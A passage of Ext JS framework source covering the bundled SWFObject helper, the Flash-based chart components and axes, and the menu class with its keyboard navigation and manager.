&& c(aa)) {\n            c(aa).style.visibility = Z\n        } else {\n            w(\"#\" + aa, \"visibility:\" + Z)\n        }\n    }\n\n    function M(Z) {\n        var aa = /[\\\\\\\"<>\\.;]/;\n        var Y = aa.exec(Z) != null;\n        return Y && typeof encodeURIComponent != E ? encodeURIComponent(Z) : Z\n    }\n\n    var d = function () {\n        if (N.ie && N.win) {\n            window.attachEvent(\"onunload\", function () {\n                var ad = J.length;\n                for (var ac = 0; ac < ad; ac++) {\n                    J[ac][0].detachEvent(J[ac][1], J[ac][2])\n                }\n                var aa = O.length;\n                for (var ab = 0; ab < aa; ab++) {\n                    z(O[ab])\n                }\n                for (var Z in N) {\n                    N[Z] = null\n                }\n                N = null;\n                for (var Y in swfobject) {\n                    swfobject[Y] = null\n                }\n                swfobject = null;\n                window.detachEvent(\"onunload\", arguments.callee)\n            })\n        }\n    }();\n    return{registerObject:function (ac, Y, ab, aa) {\n        if (N.w3 && ac && Y) {\n            var Z = {};\n            Z.id = ac;\n            Z.swfVersion = Y;\n            Z.expressInstall = ab;\n            Z.callbackFn = aa;\n            p[p.length] = Z;\n            x(ac, false)\n        } else {\n            if (aa) {\n                aa({success:false, id:ac})\n            }\n        }\n    }, getObjectById:function (Y) {\n        if (N.w3) {\n            return A(Y)\n        }\n    }, embedSWF:function (ac, ai, af, ah, Z, ab, aa, ae, ag, ad) {\n        var Y = {success:false, id:ai};\n        if (N.w3 && !(N.wk && N.wk < 312) && ac && ai && af && ah && Z) {\n            x(ai, false);\n            L(function () {\n                af += \"\";\n                ah += \"\";\n                var ak = {};\n                if (ag && typeof ag === s) {\n                    for (var am in ag) {\n                        ak[am] = ag[am]\n                    }\n                }\n                ak.data = ac;\n                ak.width = af;\n                ak.height = ah;\n                var an = {};\n                if (ae && typeof ae === s) {\n                    for (var al in ae) {\n                        an[al] = ae[al]\n                    }\n                }\n                if (aa && typeof aa === s) {\n                    for (var aj in aa) {\n                        if (typeof an.flashvars != E) {\n                            an.flashvars += \"&\" + aj + \"=\" + aa[aj]\n                        } else {\n                            an.flashvars = aj + \"=\" + aa[aj]\n                        }\n                    }\n                }\n                if (G(Z)) {\n                    var ao = v(ak, an, ai);\n                    if (ak.id == ai) {\n                        x(ai, true)\n                    }\n                    Y.success = true;\n                    Y.ref = ao\n                } else {\n                    if (ab && B()) {\n                        ak.data = ab;\n                        Q(ak, an, ai, ad);\n                        return\n                    } else {\n                        x(ai, true)\n                    }\n                }\n                if (ad) {\n                    ad(Y)\n                }\n            })\n        } else {\n            if (ad) {\n                ad(Y)\n            }\n        }\n    }, switchOffAutoHideShow:function () {\n        n = false\n    }, ua:N, getFlashPlayerVersion:function () {\n        return{major:N.pv[0], minor:N.pv[1], release:N.pv[2]}\n    }, hasFlashPlayerVersion:G, createSWF:function (aa, Z, Y) {\n        if (N.w3) {\n            return v(aa, Z, Y)\n        } else {\n            return undefined\n        }\n    }, showExpressInstall:function (aa, ab, Y, Z) {\n        if (N.w3 && B()) {\n            Q(aa, ab, Y, Z)\n        }\n    }, removeSWF:function (Y) {\n        if (N.w3) {\n            z(Y)\n        }\n    }, createCSS:function (ab, aa, Z, Y) {\n        if (N.w3) {\n            w(ab, aa, Z, Y)\n        }\n    }, addDomLoadEvent:L, addLoadEvent:t, getQueryParamValue:function (ab) {\n        var aa = k.location.search || k.location.hash;\n        if (aa) {\n            if (/\\?/.test(aa)) {\n                aa = aa.split(\"?\")[1]\n            }\n            if (ab == null) {\n                return M(aa)\n            }\n            var Z = aa.split(\"&\");\n            for (var Y = 0; Y < Z.length; Y++) {\n                if (Z[Y].substring(0, Z[Y].indexOf(\"=\")) == ab) {\n                    return M(Z[Y].substring((Z[Y].indexOf(\"=\") + 1)))\n                }\n            }\n        }\n        return\"\"\n    }, expressInstallCallback:function () {\n        if (a) {\n            var Y = c(S);\n            if (Y && m) {\n                Y.parentNode.replaceChild(m, Y);\n                if (R) {\n                    x(R, true);\n                    if (N.ie && N.win) {\n                        m.style.display = \"block\"\n                    }\n                }\n                if (F) {\n                    F(C)\n                }\n            }\n            a = false\n        }\n    }}\n}();\nExt.FlashComponent = Ext.extend(Ext.BoxComponent, {flashVersion:\"9.0.115\", backgroundColor:\"#ffffff\", wmode:\"opaque\", flashVars:undefined, flashParams:undefined, url:undefined, swfId:undefined, swfWidth:\"100%\", swfHeight:\"100%\", expressInstall:false, initComponent:function () {\n    Ext.FlashComponent.superclass.initComponent.call(this);\n    this.addEvents(\"initialize\")\n}, onRender:function () {\n    Ext.FlashComponent.superclass.onRender.apply(this, arguments);\n    var b = Ext.apply({allowScriptAccess:\"always\", bgcolor:this.backgroundColor, wmode:this.wmode}, this.flashParams), a = Ext.apply({allowedDomain:document.location.hostname, YUISwfId:this.getId(), YUIBridgeCallback:\"Ext.FlashEventProxy.onEvent\"}, this.flashVars);\n    new swfobject.embedSWF(this.url, this.id, this.swfWidth, this.swfHeight, this.flashVersion, this.expressInstall ? Ext.FlashComponent.EXPRESS_INSTALL_URL : undefined, a, b);\n    this.swf = Ext.getDom(this.id);\n    this.el = Ext.get(this.swf)\n}, getSwfId:function () {\n    return this.swfId || (this.swfId = \"extswf\" + (++Ext.Component.AUTO_ID))\n}, getId:function () {\n    return this.id || (this.id = \"extflashcmp\" + (++Ext.Component.AUTO_ID))\n}, onFlashEvent:function (a) {\n    switch (a.type) {\n        case\"swfReady\":\n            this.initSwf();\n            return;\n        case\"log\":\n            return\n    }\n    a.component = this;\n    this.fireEvent(a.type.toLowerCase().replace(/event$/, \"\"), a)\n}, initSwf:function () {\n    this.onSwfReady(!!this.isInitialized);\n    this.isInitialized = true;\n    this.fireEvent(\"initialize\", this)\n}, beforeDestroy:function () {\n    if (this.rendered) {\n        swfobject.removeSWF(this.swf.id)\n    }\n    Ext.FlashComponent.superclass.beforeDestroy.call(this)\n}, onSwfReady:Ext.emptyFn});\nExt.FlashComponent.EXPRESS_INSTALL_URL = \"http://swfobject.googlecode.com/svn/trunk/swfobject/expressInstall.swf\";\nExt.reg(\"flash\", Ext.FlashComponent);\nExt.FlashEventProxy = {onEvent:function (c, b) {\n    var a = Ext.getCmp(c);\n    if (a) {\n        a.onFlashEvent(b)\n    } else {\n        arguments.callee.defer(10, this, [c, b])\n    }\n}};\nExt.chart.Chart = Ext.extend(Ext.FlashComponent, {refreshBuffer:100, chartStyle:{padding:10, animationEnabled:true, font:{name:\"Tahoma\", color:4473924, size:11}, dataTip:{padding:5, border:{color:10075112, size:1}, background:{color:14346230, alpha:0.9}, font:{name:\"Tahoma\", color:1393291, size:10, bold:true}}}, extraStyle:null, seriesStyles:null, disableCaching:Ext.isIE || Ext.isOpera, disableCacheParam:\"_dc\", initComponent:function () {\n    Ext.chart.Chart.superclass.initComponent.call(this);\n    if (!this.url) {\n        this.url = Ext.chart.Chart.CHART_URL\n    }\n    if (this.disableCaching) {\n        this.url = Ext.urlAppend(this.url, String.format(\"{0}={1}\", this.disableCacheParam, new Date().getTime()))\n    }\n    this.addEvents(\"itemmouseover\", \"itemmouseout\", \"itemclick\", \"itemdoubleclick\", \"itemdragstart\", \"itemdrag\", \"itemdragend\", \"beforerefresh\", \"refresh\");\n    this.store = Ext.StoreMgr.lookup(this.store)\n}, setStyle:function (a, b) {\n    this.swf.setStyle(a, Ext.encode(b))\n}, setStyles:function (a) {\n    this.swf.setStyles(Ext.encode(a))\n}, setSeriesStyles:function (b) {\n    this.seriesStyles = b;\n    var a = [];\n    Ext.each(b, function (c) {\n        a.push(Ext.encode(c))\n    });\n    this.swf.setSeriesStyles(a)\n}, setCategoryNames:function (a) {\n    this.swf.setCategoryNames(a)\n}, setLegendRenderer:function (c, b) {\n    var a = this;\n    b = b || a;\n    a.removeFnProxy(a.legendFnName);\n    a.legendFnName = a.createFnProxy(function (d) {\n        return c.call(b, d)\n    });\n    a.swf.setLegendLabelFunction(a.legendFnName)\n}, setTipRenderer:function (c, b) {\n    var a = this;\n    b = b || a;\n    a.removeFnProxy(a.tipFnName);\n    a.tipFnName = a.createFnProxy(function (h, e, g) {\n        var d = a.store.getAt(e);\n        return c.call(b, a, d, e, g)\n    });\n    a.swf.setDataTipFunction(a.tipFnName)\n}, setSeries:function (a) {\n    this.series = a;\n    this.refresh()\n}, bindStore:function (a, b) {\n    if (!b && this.store) {\n        if (a !== this.store && this.store.autoDestroy) {\n            this.store.destroy()\n        } else {\n            this.store.un(\"datachanged\", this.refresh, this);\n            this.store.un(\"add\", this.delayRefresh, this);\n            this.store.un(\"remove\", this.delayRefresh, this);\n            this.store.un(\"update\", this.delayRefresh, this);\n            this.store.un(\"clear\", this.refresh, this)\n        }\n    }\n    if (a) {\n        a = Ext.StoreMgr.lookup(a);\n        a.on({scope:this, datachanged:this.refresh, add:this.delayRefresh, remove:this.delayRefresh, update:this.delayRefresh, clear:this.refresh})\n    }\n    this.store = a;\n    if (a && !b) {\n        this.refresh()\n    }\n}, onSwfReady:function (b) {\n    Ext.chart.Chart.superclass.onSwfReady.call(this, b);\n    var a;\n    this.swf.setType(this.type);\n    if (this.chartStyle) {\n        this.setStyles(Ext.apply({}, this.extraStyle, this.chartStyle))\n    }\n    if (this.categoryNames) {\n        this.setCategoryNames(this.categoryNames)\n    }\n    if (this.tipRenderer) {\n        a = this.getFunctionRef(this.tipRenderer);\n        this.setTipRenderer(a.fn, a.scope)\n    }\n    if (this.legendRenderer) {\n        a = this.getFunctionRef(this.legendRenderer);\n        this.setLegendRenderer(a.fn, a.scope)\n    }\n    if (!b) {\n        this.bindStore(this.store, true)\n    }\n    this.refresh.defer(10, this)\n}, delayRefresh:function () {\n    if (!this.refreshTask) {\n        this.refreshTask = new Ext.util.DelayedTask(this.refresh, this)\n    }\n    this.refreshTask.delay(this.refreshBuffer)\n}, refresh:function () {\n    if (this.fireEvent(\"beforerefresh\", this) !== false) {\n        var m = false;\n        var k = [], c = this.store.data.items;\n        for (var g = 0, l = c.length; g < l; g++) {\n            k[g] = c[g].data\n        }\n        var e = [];\n        var d = 0;\n        var n = null;\n        var h = 0;\n        if (this.series) {\n            d = this.series.length;\n            for (h = 0; h < d; h++) {\n                n = this.series[h];\n                var b = {};\n                for (var a in n) {\n                    if (a == \"style\" && n.style !== null) {\n                        b.style = Ext.encode(n.style);\n                        m = true\n                    } else {\n                        b[a] = n[a]\n                    }\n                }\n                e.push(b)\n            }\n        }\n        if (d > 0) {\n            for (h = 0; h < d; h++) {\n                n = e[h];\n                if (!n.type) {\n                    n.type = this.type\n                }\n                n.dataProvider = k\n            }\n        } else {\n            e.push({type:this.type, dataProvider:k})\n        }\n        this.swf.setDataProvider(e);\n        if (this.seriesStyles) {\n            this.setSeriesStyles(this.seriesStyles)\n        }\n        this.fireEvent(\"refresh\", this)\n    }\n}, createFnProxy:function (a) {\n    var b = \"extFnProxy\" + (++Ext.chart.Chart.PROXY_FN_ID);\n    Ext.chart.Chart.proxyFunction[b] = a;\n    return\"Ext.chart.Chart.proxyFunction.\" + b\n}, removeFnProxy:function (a) {\n    if (!Ext.isEmpty(a)) {\n        a = a.replace(\"Ext.chart.Chart.proxyFunction.\", \"\");\n        delete Ext.chart.Chart.proxyFunction[a]\n    }\n}, getFunctionRef:function (a) {\n    if (Ext.isFunction(a)) {\n        return{fn:a, scope:this}\n    } else {\n        return{fn:a.fn, scope:a.scope || this}\n    }\n}, onDestroy:function () {\n    if (this.refreshTask && this.refreshTask.cancel) {\n        this.refreshTask.cancel()\n    }\n    Ext.chart.Chart.superclass.onDestroy.call(this);\n    this.bindStore(null);\n    this.removeFnProxy(this.tipFnName);\n    this.removeFnProxy(this.legendFnName)\n}});\nExt.reg(\"chart\", Ext.chart.Chart);\nExt.chart.Chart.PROXY_FN_ID = 0;\nExt.chart.Chart.proxyFunction = {};\nExt.chart.Chart.CHART_URL = \"http://yui.yahooapis.com/2.8.2/build/charts/assets/charts.swf\";\nExt.chart.PieChart = Ext.extend(Ext.chart.Chart, {type:\"pie\", onSwfReady:function (a) {\n    Ext.chart.PieChart.superclass.onSwfReady.call(this, a);\n    this.setDataField(this.dataField);\n    this.setCategoryField(this.categoryField)\n}, setDataField:function (a) {\n    this.dataField = a;\n    this.swf.setDataField(a)\n}, setCategoryField:function (a) {\n    this.categoryField = a;\n    this.swf.setCategoryField(a)\n}});\nExt.reg(\"piechart\", Ext.chart.PieChart);\nExt.chart.CartesianChart = Ext.extend(Ext.chart.Chart, {onSwfReady:function (a) {\n    Ext.chart.CartesianChart.superclass.onSwfReady.call(this, a);\n    this.labelFn = [];\n    if (this.xField) {\n        this.setXField(this.xField)\n    }\n    if (this.yField) {\n        this.setYField(this.yField)\n    }\n    if (this.xAxis) {\n        this.setXAxis(this.xAxis)\n    }\n    if (this.xAxes) {\n        this.setXAxes(this.xAxes)\n    }\n    if (this.yAxis) {\n        this.setYAxis(this.yAxis)\n    }\n    if (this.yAxes) {\n        this.setYAxes(this.yAxes)\n    }\n    if (Ext.isDefined(this.constrainViewport)) {\n        this.swf.setConstrainViewport(this.constrainViewport)\n    }\n}, setXField:function (a) {\n    this.xField = a;\n    this.swf.setHorizontalField(a)\n}, setYField:function (a) {\n    this.yField = a;\n    this.swf.setVerticalField(a)\n}, setXAxis:function (a) {\n    this.xAxis = this.createAxis(\"xAxis\", a);\n    this.swf.setHorizontalAxis(this.xAxis)\n}, setXAxes:function (c) {\n    var b;\n    for (var a = 0; a < c.length; a++) {\n        b = this.createAxis(\"xAxis\" + a, c[a]);\n        this.swf.setHorizontalAxis(b)\n    }\n}, setYAxis:function (a) {\n    this.yAxis = this.createAxis(\"yAxis\", a);\n    this.swf.setVerticalAxis(this.yAxis)\n}, setYAxes:function (c) {\n    var b;\n    for (var a = 0; a < c.length; a++) {\n        b = this.createAxis(\"yAxis\" + a, c[a]);\n        this.swf.setVerticalAxis(b)\n    }\n}, createAxis:function (b, d) {\n    var e = Ext.apply({}, d), c, a;\n    if (this[b]) {\n        a = this[b].labelFunction;\n        this.removeFnProxy(a);\n        this.labelFn.remove(a)\n    }\n    if (e.labelRenderer) {\n        c = this.getFunctionRef(e.labelRenderer);\n        e.labelFunction = this.createFnProxy(function (g) {\n            return c.fn.call(c.scope, g)\n        });\n        delete e.labelRenderer;\n        this.labelFn.push(e.labelFunction)\n    }\n    if (b.indexOf(\"xAxis\") > -1 && e.position == \"left\") {\n        e.position = \"bottom\"\n    }\n    return e\n}, onDestroy:function () {\n    Ext.chart.CartesianChart.superclass.onDestroy.call(this);\n    Ext.each(this.labelFn, function (a) {\n        this.removeFnProxy(a)\n    }, this)\n}});\nExt.reg(\"cartesianchart\", Ext.chart.CartesianChart);\nExt.chart.LineChart = Ext.extend(Ext.chart.CartesianChart, {type:\"line\"});\nExt.reg(\"linechart\", Ext.chart.LineChart);\nExt.chart.ColumnChart = Ext.extend(Ext.chart.CartesianChart, {type:\"column\"});\nExt.reg(\"columnchart\", Ext.chart.ColumnChart);\nExt.chart.StackedColumnChart = Ext.extend(Ext.chart.CartesianChart, {type:\"stackcolumn\"});\nExt.reg(\"stackedcolumnchart\", Ext.chart.StackedColumnChart);\nExt.chart.BarChart = Ext.extend(Ext.chart.CartesianChart, {type:\"bar\"});\nExt.reg(\"barchart\", Ext.chart.BarChart);\nExt.chart.StackedBarChart = Ext.extend(Ext.chart.CartesianChart, {type:\"stackbar\"});\nExt.reg(\"stackedbarchart\", Ext.chart.StackedBarChart);\nExt.chart.Axis = function (a) {\n    Ext.apply(this, a)\n};\nExt.chart.Axis.prototype = {type:null, orientation:\"horizontal\", reverse:false, labelFunction:null, hideOverlappingLabels:true, labelSpacing:2};\nExt.chart.NumericAxis = Ext.extend(Ext.chart.Axis, {type:\"numeric\", minimum:NaN, maximum:NaN, majorUnit:NaN, minorUnit:NaN, snapToUnits:true, alwaysShowZero:true, scale:\"linear\", roundMajorUnit:true, calculateByLabelSize:true, position:\"left\", adjustMaximumByMajorUnit:true, adjustMinimumByMajorUnit:true});\nExt.chart.TimeAxis = Ext.extend(Ext.chart.Axis, {type:\"time\", minimum:null, maximum:null, majorUnit:NaN, majorTimeUnit:null, minorUnit:NaN, minorTimeUnit:null, snapToUnits:true, stackingEnabled:false, calculateByLabelSize:true});\nExt.chart.CategoryAxis = Ext.extend(Ext.chart.Axis, {type:\"category\", categoryNames:null, calculateCategoryCount:false});\nExt.chart.Series = function (a) {\n    Ext.apply(this, a)\n};\nExt.chart.Series.prototype = {type:null, displayName:null};\nExt.chart.CartesianSeries = Ext.extend(Ext.chart.Series, {xField:null, yField:null, showInLegend:true, axis:\"primary\"});\nExt.chart.ColumnSeries = Ext.extend(Ext.chart.CartesianSeries, {type:\"column\"});\nExt.chart.LineSeries = Ext.extend(Ext.chart.CartesianSeries, {type:\"line\"});\nExt.chart.BarSeries = Ext.extend(Ext.chart.CartesianSeries, {type:\"bar\"});\nExt.chart.PieSeries = Ext.extend(Ext.chart.Series, {type:\"pie\", dataField:null, categoryField:null});\nExt.menu.Menu = Ext.extend(Ext.Container, {minWidth:120, shadow:\"sides\", subMenuAlign:\"tl-tr?\", defaultAlign:\"tl-bl?\", allowOtherMenus:false, ignoreParentClicks:false, enableScrolling:true, maxHeight:null, scrollIncrement:24, showSeparator:true, defaultOffsets:[0, 0], plain:false, floating:true, zIndex:15000, hidden:true, layout:\"menu\", hideMode:\"offsets\", scrollerHeight:8, autoLayout:true, defaultType:\"menuitem\", bufferResize:false, initComponent:function () {\n    if (Ext.isArray(this.initialConfig)) {\n        Ext.apply(this, {items:this.initialConfig})\n    }\n    this.addEvents(\"click\", \"mouseover\", \"mouseout\", \"itemclick\");\n    Ext.menu.MenuMgr.register(this);\n    if (this.floating) {\n        Ext.EventManager.onWindowResize(this.hide, this)\n    } else {\n        if (this.initialConfig.hidden !== false) {\n            this.hidden = false\n        }\n        this.internalDefaults = {hideOnClick:false}\n    }\n    Ext.menu.Menu.superclass.initComponent.call(this);\n    if (this.autoLayout) {\n        var a = this.doLayout.createDelegate(this, []);\n        this.on({add:a, remove:a})\n    }\n}, getLayoutTarget:function () {\n    return this.ul\n}, onRender:function (b, a) {\n    if (!b) {\n        b = Ext.getBody()\n    }\n    var c = {id:this.getId(), cls:\"x-menu \" + ((this.floating) ? \"x-menu-floating x-layer \" : \"\") + (this.cls || \"\") + (this.plain ? \" x-menu-plain\" : \"\") + (this.showSeparator ? \"\" : \" x-menu-nosep\"), style:this.style, cn:[\n        {tag:\"a\", cls:\"x-menu-focus\", href:\"#\", onclick:\"return false;\", tabIndex:\"-1\"},\n        {tag:\"ul\", cls:\"x-menu-list\"}\n    ]};\n    if (this.floating) {\n        this.el = new Ext.Layer({shadow:this.shadow, dh:c, constrain:false, parentEl:b, zindex:this.zIndex})\n    } else {\n        this.el = b.createChild(c)\n    }\n    Ext.menu.Menu.superclass.onRender.call(this, b, a);\n    if (!this.keyNav) {\n        this.keyNav = new Ext.menu.MenuNav(this)\n    }\n    this.focusEl = this.el.child(\"a.x-menu-focus\");\n    this.ul = this.el.child(\"ul.x-menu-list\");\n    this.mon(this.ul, {scope:this, click:this.onClick, mouseover:this.onMouseOver, mouseout:this.onMouseOut});\n    if (this.enableScrolling) {\n        this.mon(this.el, {scope:this, delegate:\".x-menu-scroller\", click:this.onScroll, mouseover:this.deactivateActive})\n    }\n}, findTargetItem:function (b) {\n    var a = b.getTarget(\".x-menu-list-item\", this.ul, true);\n    if (a && a.menuItemId) {\n        return this.items.get(a.menuItemId)\n    }\n}, onClick:function (b) {\n    var a = this.findTargetItem(b);\n    if (a) {\n        if (a.isFormField) {\n            this.setActiveItem(a)\n        } else {\n            if (a instanceof Ext.menu.BaseItem) {\n                if (a.menu && this.ignoreParentClicks) {\n                    a.expandMenu();\n                    b.preventDefault()\n                } else {\n                    if (a.onClick) {\n                        a.onClick(b);\n                        this.fireEvent(\"click\", this, a, b)\n                    }\n                }\n            }\n        }\n    }\n}, setActiveItem:function (a, b) {\n    if (a != this.activeItem) {\n        this.deactivateActive();\n        if ((this.activeItem = a).isFormField) {\n            a.focus()\n        } else {\n            a.activate(b)\n        }\n    } else {\n        if (b) {\n            a.expandMenu()\n        }\n    }\n}, deactivateActive:function () {\n    var b = this.activeItem;\n    if (b) {\n        if (b.isFormField) {\n            if (b.collapse) {\n                b.collapse()\n            }\n        } else {\n            b.deactivate()\n        }\n        delete this.activeItem\n    }\n}, tryActivate:function (g, e) {\n    var b = this.items;\n    for (var c = g, a = b.length; c >= 0 && c < a; c += e) {\n        var d = b.get(c);\n        if (d.isVisible() && !d.disabled && (d.canActivate || d.isFormField)) {\n            this.setActiveItem(d, false);\n            return d\n        }\n    }\n    return false\n}, onMouseOver:function (b) {\n    var a = this.findTargetItem(b);\n    if (a) {\n        if (a.canActivate && !a.disabled) {\n            this.setActiveItem(a, true)\n        }\n    }\n    this.over = true;\n    this.fireEvent(\"mouseover\", this, b, a)\n}, onMouseOut:function (b) {\n    var a = this.findTargetItem(b);\n    if (a) {\n        if (a == this.activeItem && a.shouldDeactivate && a.shouldDeactivate(b)) {\n            this.activeItem.deactivate();\n            delete this.activeItem\n        }\n    }\n    this.over = false;\n    this.fireEvent(\"mouseout\", this, b, a)\n}, onScroll:function (d, b) {\n    if (d) {\n        d.stopEvent()\n    }\n    var a = this.ul.dom, c = Ext.fly(b).is(\".x-menu-scroller-top\");\n    a.scrollTop += this.scrollIncrement * (c ? -1 : 1);\n    if (c ? a.scrollTop <= 0 : a.scrollTop + this.activeMax >= a.scrollHeight) {\n        this.onScrollerOut(null, b)\n    }\n}, onScrollerIn:function (d, b) {\n    var a = this.ul.dom, c = Ext.fly(b).is(\".x-menu-scroller-top\");\n    if (c ? a.scrollTop > 0 : a.scrollTop + this.activeMax < a.scrollHeight) {\n        Ext.fly(b).addClass([\"x-menu-item-active\", \"x-menu-scroller-active\"])\n    }\n}, onScrollerOut:function (b, a) {\n    Ext.fly(a).removeClass([\"x-menu-item-active\", \"x-menu-scroller-active\"])\n}, show:function (b, c, a) {\n    if (this.floating) {\n        this.parentMenu = a;\n        if (!this.el) {\n            this.render();\n            this.doLayout(false, true)\n        }\n        this.showAt(this.el.getAlignToXY(b, c || this.defaultAlign, this.defaultOffsets), a)\n    } else {\n        Ext.menu.Menu.superclass.show.call(this)\n    }\n}, showAt:function (b, a) {\n    if (this.fireEvent(\"beforeshow\", this) !== false) {\n        this.parentMenu = a;\n        if (!this.el) {\n            this.render()\n        }\n        if (this.enableScrolling) {\n            this.el.setXY(b);\n            b[1] = this.constrainScroll(b[1]);\n            b = [this.el.adjustForConstraints(b)[0], b[1]]\n        } else {\n            b = this.el.adjustForConstraints(b)\n        }\n        this.el.setXY(b);\n        this.el.show();\n        Ext.menu.Menu.superclass.onShow.call(this);\n        if (Ext.isIE) {\n            this.fireEvent(\"autosize\", this);\n            if (!Ext.isIE8) {\n                this.el.repaint()\n            }\n        }\n        this.hidden = false;\n        this.focus();\n        this.fireEvent(\"show\", this)\n    }\n}, constrainScroll:function (i) {\n    var b, d = this.ul.setHeight(\"auto\").getHeight(), a = i, h, e, g, c;\n    if (this.floating) {\n        e = Ext.fly(this.el.dom.parentNode);\n        g = e.getScroll().top;\n        c = e.getViewSize().height;\n        h = i - g;\n        b = this.maxHeight ? this.maxHeight : c - h;\n        if (d > c) {\n            b = c;\n            a = i - h\n        } else {\n            if (b < d) {\n                a = i - (d - b);\n                b = d\n            }\n        }\n    } else {\n        b = this.getHeight()\n    }\n    if (this.maxHeight) {\n        b = Math.min(this.maxHeight, b)\n    }\n    if (d > b && b > 0) {\n        this.activeMax = b - this.scrollerHeight * 2 - this.el.getFrameWidth(\"tb\") - Ext.num(this.el.shadowOffset, 0);\n        this.ul.setHeight(this.activeMax);\n        this.createScrollers();\n        this.el.select(\".x-menu-scroller\").setDisplayed(\"\")\n    } else {\n        this.ul.setHeight(d);\n        this.el.select(\".x-menu-scroller\").setDisplayed(\"none\")\n    }\n    this.ul.dom.scrollTop = 0;\n    return a\n}, createScrollers:function () {\n    if (!this.scroller) {\n        this.scroller = {pos:0, top:this.el.insertFirst({tag:\"div\", cls:\"x-menu-scroller x-menu-scroller-top\", html:\"&#160;\"}), bottom:this.el.createChild({tag:\"div\", cls:\"x-menu-scroller x-menu-scroller-bottom\", html:\"&#160;\"})};\n        this.scroller.top.hover(this.onScrollerIn, this.onScrollerOut, this);\n        this.scroller.topRepeater = new Ext.util.ClickRepeater(this.scroller.top, {listeners:{click:this.onScroll.createDelegate(this, [null, this.scroller.top], false)}});\n        this.scroller.bottom.hover(this.onScrollerIn, this.onScrollerOut, this);\n        this.scroller.bottomRepeater = new Ext.util.ClickRepeater(this.scroller.bottom, {listeners:{click:this.onScroll.createDelegate(this, [null, this.scroller.bottom], false)}})\n    }\n}, onLayout:function () {\n    if (this.isVisible()) {\n        if (this.enableScrolling) {\n            this.constrainScroll(this.el.getTop())\n        }\n        if (this.floating) {\n            this.el.sync()\n        }\n    }\n}, focus:function () {\n    if (!this.hidden) {\n        this.doFocus.defer(50, this)\n    }\n}, doFocus:function () {\n    if (!this.hidden) {\n        this.focusEl.focus()\n    }\n}, hide:function (a) {\n    if (!this.isDestroyed) {\n        this.deepHide = a;\n        Ext.menu.Menu.superclass.hide.call(this);\n        delete this.deepHide\n    }\n}, onHide:function () {\n    Ext.menu.Menu.superclass.onHide.call(this);\n    this.deactivateActive();\n    if (this.el && this.floating) {\n        this.el.hide()\n    }\n    var a = this.parentMenu;\n    if (this.deepHide === true && a) {\n        if (a.floating) {\n            a.hide(true)\n        } else {\n            a.deactivateActive()\n        }\n    }\n}, lookupComponent:function (a) {\n    if (Ext.isString(a)) {\n        a = (a == \"separator\" || a == \"-\") ? new Ext.menu.Separator() : new Ext.menu.TextItem(a);\n        this.applyDefaults(a)\n    } else {\n        if (Ext.isObject(a)) {\n            a = this.getMenuItem(a)\n        } else {\n            if (a.tagName || a.el) {\n                a = new Ext.BoxComponent({el:a})\n            }\n        }\n    }\n    return a\n}, applyDefaults:function (b) {\n    if (!Ext.isString(b)) {\n        b = Ext.menu.Menu.superclass.applyDefaults.call(this, b);\n        var a = this.internalDefaults;\n        if (a) {\n            if (b.events) {\n                Ext.applyIf(b.initialConfig, a);\n                Ext.apply(b, a)\n            } else {\n                Ext.applyIf(b, a)\n            }\n        }\n    }\n    return b\n}, getMenuItem:function (a) {\n    a.ownerCt = this;\n    if (!a.isXType) {\n        if (!a.xtype && Ext.isBoolean(a.checked)) {\n            return new Ext.menu.CheckItem(a)\n        }\n        return Ext.create(a, this.defaultType)\n    }\n    return a\n}, addSeparator:function () {\n    return this.add(new Ext.menu.Separator())\n}, addElement:function (a) {\n    return this.add(new Ext.menu.BaseItem({el:a}))\n}, addItem:function (a) {\n    return this.add(a)\n}, addMenuItem:function (a) {\n    return this.add(this.getMenuItem(a))\n}, addText:function (a) {\n    return this.add(new Ext.menu.TextItem(a))\n}, onDestroy:function () {\n    Ext.EventManager.removeResizeListener(this.hide, this);\n    var a = this.parentMenu;\n    if (a && a.activeChild == this) {\n        delete a.activeChild\n    }\n    delete this.parentMenu;\n    Ext.menu.Menu.superclass.onDestroy.call(this);\n    Ext.menu.MenuMgr.unregister(this);\n    if (this.keyNav) {\n        this.keyNav.disable()\n    }\n    var b = this.scroller;\n    if (b) {\n        Ext.destroy(b.topRepeater, b.bottomRepeater, b.top, b.bottom)\n    }\n    Ext.destroy(this.el, this.focusEl, this.ul)\n}});\nExt.reg(\"menu\", Ext.menu.Menu);\nExt.menu.MenuNav = Ext.extend(Ext.KeyNav, function () {\n    function a(d, c) {\n        if (!c.tryActivate(c.items.indexOf(c.activeItem) - 1, -1)) {\n            c.tryActivate(c.items.length - 1, -1)\n        }\n    }\n\n    function b(d, c) {\n        if (!c.tryActivate(c.items.indexOf(c.activeItem) + 1, 1)) {\n            c.tryActivate(0, 1)\n        }\n    }\n\n    return{constructor:function (c) {\n        Ext.menu.MenuNav.superclass.constructor.call(this, c.el);\n        this.scope = this.menu = c\n    }, doRelay:function (g, d) {\n        var c = g.getKey();\n        if (this.menu.activeItem && this.menu.activeItem.isFormField && c != g.TAB) {\n            return false\n        }\n        if (!this.menu.activeItem && g.isNavKeyPress() && c != g.SPACE && c != g.RETURN) {\n            this.menu.tryActivate(0, 1);\n            return false\n        }\n        return d.call(this.scope || this, g, this.menu)\n    }, tab:function (d, c) {\n        d.stopEvent();\n        if (d.shiftKey) {\n            a(d, c)\n        } else {\n            b(d, c)\n        }\n    }, up:a, down:b, right:function (d, c) {\n        if (c.activeItem) {\n            c.activeItem.expandMenu(true)\n        }\n    }, left:function (d, c) {\n        c.hide();\n        if (c.parentMenu && c.parentMenu.activeItem) {\n            c.parentMenu.activeItem.activate()\n        }\n    }, enter:function (d, c) {\n        if (c.activeItem) {\n            d.stopPropagation();\n            c.activeItem.onClick(d);\n            c.fireEvent(\"click\", this, c.activeItem);\n            return true\n        }\n    }}\n}());\nExt.menu.MenuMgr = function () {\n    var h, e, b, d = {}, a = false, l = new Date();\n\n    function n() {\n        h = {};\n        e = new Ext.util.MixedCollection();\n        b = Ext.getDoc().addKeyListener(27, j);\n        b.disable()\n    }\n\n    function j() {\n        if (e && e.length > 0) {\n            var o = e.clone();\n            o.each(function (p) {\n                p.hide()\n            });\n            return true\n        }\n        return false\n    }\n\n    function g(o) {\n        e.remove(o);\n        if (e.length < 1) {\n            b.disable();\n            Ext.getDoc().un(\"mousedown\", m);\n            a = false\n        }\n    }\n\n    function k(o) {\n        var p = e.last();\n        l = new Date();\n        e.add(o);\n        if (!a) {\n            b.enable();\n            Ext.getDoc().on(\"mousedown\", m);\n            a = true\n        }\n        if (o.parentMenu) {\n            o.getEl().setZIndex(parseInt(o.parentMenu.getEl().getStyle(\"z-index\"), 10) + 3);\n            o.parentMenu.activeChild = 